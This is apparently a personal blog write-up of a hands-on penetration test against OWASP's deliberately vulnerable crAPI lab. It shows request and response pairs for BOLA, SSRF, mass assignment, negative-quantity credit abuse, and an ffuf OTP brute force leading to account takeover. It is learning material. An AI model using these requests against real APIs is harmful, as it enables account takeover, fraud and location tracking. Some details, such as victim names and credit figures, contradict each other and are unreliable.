September 3, 2026
Learning API Security Through Hands-On Penetration Testing
I wanted to expand my skill set into offensive security โ specifically API penetration testing. Rather than just reading about the OWASPโฆ
By Bismaali
8 min read
I wanted to expand my skill set into offensive security โ specifically API penetration testing. Rather than just reading about the OWASP API Security Top 10, I wanted to interact directly with a real (though intentionally vulnerable) API, manipulate requests, and document what I found the way a professional pentester would.
For this project, I used crAPI (Completely Ridiculous API) โ OWASP's officially maintained vulnerable API application, designed specifically for practicing API security testing. Throughout this project, I explored the application's different functionalities, tested its API endpoints, manipulated requests, and documented the findings along the way.
Objectives
- Understand how modern REST APIs are built and how attackers target them.
- Practice identifying and exploiting vulnerabilities across the OWASP API Security Top 10.
- Gain hands-on experience with the tools used in real-world API pentesting engagements.
- Produce a professional, client-style vulnerability assessment report.
What is crAPI?
crAPI is an intentionally vulnerable API-driven web application built by OWASP. It simulates a car marketplace/service platform โ complete with user authentication, vehicle profiles, a shop, a community forum, and a mechanic-contact workflow โ all powered entirely by REST APIs behind a web frontend. This makes it an ideal environment to practice real-world API attack techniques.
Environment Setup
I deployed crAPI locally using Docker on a MacBook Pro (Apple M1). Since crAPI's container images are built for amd64, I had to explicitly set DOCKER_DEFAULT_PLATFORM=linux/amd64 and enable Rosetta emulation in Docker Desktop to get the stack running reliably.
export DOCKER_DEFAULT_PLATFORM=linux/amd64
docker compose -f docker-compose.yml --compatibility up -dexport DOCKER_DEFAULT_PLATFORM=linux/amd64
docker compose -f docker-compose.yml --compatibility up -dOnce running, the application was accessible at http://localhost:8888, with outgoing emails such as OTPs and verification links captured locally by MailHog at http://localhost:802
For testing authorization controls, I created two accounts โ Alice and Bob
and registered a vehicle for each. This gave me two separate user contexts to test whether API endpoints properly enforced access boundaries between users.
API Security Findings
Finding 1 โ Broken Object Level Authorization (BOLA)
OWASP API1:2023
The endpoint identified a vehicle using its VIN number directly in the URL:
GET /workshop/api/merchant/service_requests/{VIN}GET /workshop/api/merchant/service_requests/{VIN}I authenticated as Alice and intercepted the request in Burp Suite. I then replaced Alice's VIN with Bob's VIN while keeping Alice's session token unchanged.
Response (200 OK):
{
"service_requests": [{
"id": 6,
"vehicle": {
"vin": "223S62Y56VAZ5L33J",
"owner": {
"email": "bob@test.com",
"number": "5678744678"
}
},
"problem_details": "broken mechanic",
"status": "pending"
}]
}{
"service_requests": [{
"id": 6,
"vehicle": {
"vin": "223S62Y56VAZ5L33J",
"owner": {
"email": "bob@test.com",
"number": "5678744678"
}
},
"problem_details": "broken mechanic",
"status": "pending"
}]
}The server returned Bob's service request, including his email and phone number, even though the request was authenticated as Alice.
There was no server-side authorization check to verify that Alice was actually authorized to access the vehicle associated with the supplied VIN.
Impact: Any authenticated user who knows or can obtain another user's VIN may be able to access their service information and associated personal data.
Finding 2 โ Broken Authentication / Missing Rate Limiting
OWASP API2:2023 &API4:2023
The login functionality was handled through the following endpoint:
POST /identity/api/auth/loginPOST /identity/api/auth/loginTo test how the application handled repeated authentication failures, I submitted 15 consecutive login attempts with an incorrect password for Alice's account using Burp Suite Repeater.
Every attempt returned:
HTTP/1.1 401 UnauthorizedHTTP/1.1 401 Unauthorizedwith the message:
{
"message": "Invalid Credentials"
}{
"message": "Invalid Credentials"
}The application did not introduce any noticeable delay between attempts, temporarily lock the account, present a CAPTCHA, or return a 429 Too Many Requests response.
Impact: An attacker can run unlimited password-guessing attempts against any account โ a textbook brute-force vector, and a direct violation of both authentication and resource-consumption best practices.
Finding 3 โ Broken Function Level Authorization (BFLA)
OWASP API5:2023
The shop functionality exposed an endpoint for managing products:
GET /workshop/api/shop/productsGET /workshop/api/shop/productsSince the GET request was intended to retrieve products, I tested whether the same endpoint would accept a POST request from a regular user.
I authenticated as Alice, whose account had a regular user role, and sent the following request through Burp Suite Repeater:
POST /workshop/api/shop/products?limit=30&offset=0POST /workshop/api/shop/products?limit=30&offset=0With the following request body:
{
"name": "BMW",
"price": 1,
"image_url": "https://example.com/BMW.jpg"
}{
"name": "BMW",
"price": 1,
"image_url": "https://example.com/BMW.jpg"
}The server responded with:
HTTP/1.1 200 OK
{
"id": 3,
"name": "BMW",
"price": "1.00",
"image_url": "https://example.com/BMW.jpg"
}{
"id": 3,
"name": "BMW",
"price": "1.00",
"image_url": "https://example.com/BMW.jpg"
}The product was successfully created and appeared in the live shop catalog, even though Alice was authenticated as a regular user rather than an administrator or merchant.
Impact: A regular user can perform administrative actions, including polluting the product catalog, creating fraudulent listings, or (in a real system) worse.
Finding 4 โ Broken Object Property Level Authorization / Mass Assignment
OWASP API3:2023
The order placement functionality was handled through:
POST /workshop/api/shop/ordersPOST /workshop/api/shop/ordersI first tested whether the price field could be manipulated directly through the request. The application correctly ignored the supplied price and calculated the order value on the server side.
I then tested the quantity field by supplying a negative value:
Request
{
"product_id": 2,
"quantity": -5
}{
"product_id": 2,
"quantity": -5
}Response โ 200 OK
{
"id": 8,
"message": "Order sent successfully.",
"credit": 130.0
}{
"id": 8,
"message": "Order sent successfully.",
"credit": 130.0
}Alice's account initially had 80.0 credits. After submitting the request with quantity: -5, the account balance increased to 130.0 credits.
The API accepted the negative quantity instead of validating that the value was a positive integer. As a result, the application's own order calculation logic could be manipulated to generate account credit.
Impact: An attacker can exploit the negative quantity to fraudulently increase account credit, resulting in financial loss and business logic abuse.
Finding 5 โ Unrestricted Access to Sensitive Business Flows
OWASP API6:2023
Building on Finding 4, I repeated the same negative-quantity request five times in a row through Burp Suite Repeater.
Every request was accepted, and the account credit kept increasing:
890 โ 940 โ 990 โ 1040 โ 1230890 โ 940 โ 990 โ 1040 โ 1230
A sensitive business operation affecting account credit should have limits to prevent repeated abuse. However, the application enforced no transaction limit, cooldown, or abuse detection.
Impact: An attacker could repeatedly abuse the order functionality to generate unauthorized account credit at scale.
Finding 6โ Server-Side Request Forgery (SSRF)
OWASP API7:2023
The Contact Mechanic functionality allowed the client to provide a mechanic_api URL. I tested whether the server would validate the destination before making the request.
Request
I replaced the legitimate mechanic API URL with the internal Docker hostname of the MongoDB service:
{
"mechanic_code": "TRAC_JHN",
"problem_details": "test",
"vin": "4S4A0WPV3FCPCBV32",
"mechanic_api": "http://mongodb:27017",
"repeat_request_if_failed": false,
"number_of_repeats": 1
}{
"mechanic_code": "TRAC_JHN",
"problem_details": "test",
"vin": "4S4A0WPV3FCPCBV32",
"mechanic_api": "http://mongodb:27017",
"repeat_request_if_failed": false,
"number_of_repeats": 1
}Response โ 200 OK
{
"response_from_mechanic_api": "It looks like you are trying to access MongoDB over HTTP on the native driver port.",
"status": 200
}{
"response_from_mechanic_api": "It looks like you are trying to access MongoDB over HTTP on the native driver port.",
"status": 200
}The response confirmed that the server attempted to connect to the internal mongodb:27017 service and returned the service's response.
Impact: This is a textbook SSRF vulnerability. The server made an internal request and relayed the raw response, allowing an attacker to probe internal services, map the infrastructure, and potentially pivot to other systems.
Finding 7 โ Security Misconfiguration (Critical)
OWASP API8:2023
I tested whether sensitive configuration files were accessible through the web application by requesting:
GET /.envGET /.envThe server returned the file contents without requiring authentication:
The response exposed database credentials and internal service hostnames directly to an unauthenticated user.
Impact: This is the most severe finding in the assessment. Full database credentials for both the PostgreSQL and MongoDB backends are exposed to any unauthenticated visitor. In a real deployment where the database ports are reachable, this could result in unauthorized database access and potentially a complete data breach.
Finding 8โ Excessive Data Exposure
OWASP API3:2023
I then tested the community functionality to determine whether the API was returning more user information than was actually required.
The following endpoint returned recent community posts:
GET /community/api/v2/community/posts/recentGET /community/api/v2/community/posts/recentThe response included sensitive user information alongside publicly visible post data:
{
"author": {
"nickname": "Adam",
"email": "adam007@example.com",
"vehicleid": "f89b5f21-7829-45cb-a650-299a61090378"
}
}{
"author": {
"nickname": "Adam",
"email": "adam007@example.com",
"vehicleid": "f89b5f21-7829-45cb-a650-299a61090378"
}
}The API exposed the user's email address and vehicle UUID even though this information was not necessary to display a community post. A single request exposed data belonging to four separate users.
Impact: The API exposes unnecessary personal and vehicle identifiers to unauthenticated users, enabling user enumeration, targeted phishing, and potential chaining with other API vulnerabilities.
Finding 9โ Chained Attack: Data Exposure โ BOLA
OWASP API1:2023 / API3:2023
The vehicleid exposed through the community posts endpoint could be used to query another API endpoint.
From Finding 8, I obtained Adam's vehicle UUID:
f89b5f21-7829-45cb-a650-299a61090378f89b5f21-7829-45cb-a650-299a61090378I then used this identifier while authenticated as Alice and requested:
GET /identity/api/v2/vehicle/f89b5f21-7829-45cb-a650-299a61090378/locationGET /identity/api/v2/vehicle/f89b5f21-7829-45cb-a650-299a61090378/locationResponse โ 200 OK
{
"carId": "f89b5f21-7829-45cb-a650-299a61090378",
"vehicleLocation": {
"latitude": "32.778889",
"longitude": "-91.919243"
},
"fullName": "Adam",
"email": "adam007@example.com"
}{
"carId": "f89b5f21-7829-45cb-a650-299a61090378",
"vehicleLocation": {
"latitude": "32.778889",
"longitude": "-91.919243"
},
"fullName": "Adam",
"email": "adam007@example.com"
}The API returned Adam's location, name, and email despite Alice's authentication, confirming that no authorization check was enforced.
Impact: This creates a physical safety risk, allowing registered users to track another user's vehicle location without their knowledge or consent.
Finding 10โ Critical: Account Takeover via Legacy Password Reset Endpoint
API2:2023 / API9:2023
This challenge focused on taking over Alice's account by exploiting the password-reset process. I had already obtained Alice's email address from the community posts endpoint during the earlier testing.
I first initiated a password reset for Adam using:
POST /identity/api/auth/forget-passwordPOST /identity/api/auth/forget-passwordI then tested the OTP verification flow using the newer API version:
POST /identity/api/auth/v3/check-otpPOST /identity/api/auth/v3/check-otpWhen I submitted incorrect OTPs, the v3 endpoint enforced brute-force protection and prevented repeated attempts.
Since the application was using API versioning, I then tested the previous version:
POST /identity/api/auth/v2/check-otpPOST /identity/api/auth/v2/check-otpUnlike v3, the older v2 endpoint was still accessible and did not enforce the same brute-force protection.
I submitted 10 consecutive incorrect OTPs, and every attempt returned Invalid OTP. No rate limiting, account lockout, or CAPTCHA was triggered.
Because the OTP was only 4 digits, there were just 10,000 possible values (0000โ9999).
I automated the complete OTP keyspace using ffuf:
ffuf -w otp_wordlist.txt -X POST \
-d '{"email":"alice@test.com","otp":"FUZZ","password":"HackedPass123!"}' \
-H "Content-Type: application/json" \
-u http://127.0.0.1:8888/identity/api/auth/v2/check-otp \
-mc 200ffuf -w otp_wordlist.txt -X POST \
-d '{"email":"alice@test.com","otp":"FUZZ","password":"HackedPass123!"}' \
-H "Content-Type: application/json" \
-u http://127.0.0.1:8888/identity/api/auth/v2/check-otp \
-mc 200The correct OTP was accepted and the password was changed to the attacker-controlled password.
I then attempted to log in as Alice using the new password:
POST /identity/api/auth/loginPOST /identity/api/auth/loginThe login was successful and the API issued a new JWT, confirming that Adam's account had been fully compromised.Impact: An attacker who knows a user's email can brute-force the 4-digit OTP and reset the account password, resulting in full account takeover.
Impact: An attacker who knows a user's email can brute-force the 4-digit OTP and reset the account password, resulting in full account takeover.
Conclusion
This project gave me the opportunity to go beyond the theory of API security and actually test how these vulnerabilities behave in a real application. Using crAPI, I was able to identify issues involving authorization, authentication, business logic, SSRF, security misconfiguration, and excessive data exposure.
One of the most interesting parts was seeing how seemingly separate weaknesses could be chained together to create a much bigger impact. The testing also gave me practical experience with Burp Suite, request manipulation, endpoint testing, and documenting vulnerabilities with their actual impact.
Overall, working through crAPI was a valuable hands-on experience and helped me build a stronger foundation in API penetration testing. It also gave me a better understanding of how to approach API security from an attacker's perspective rather than relying only on theoretical knowledge.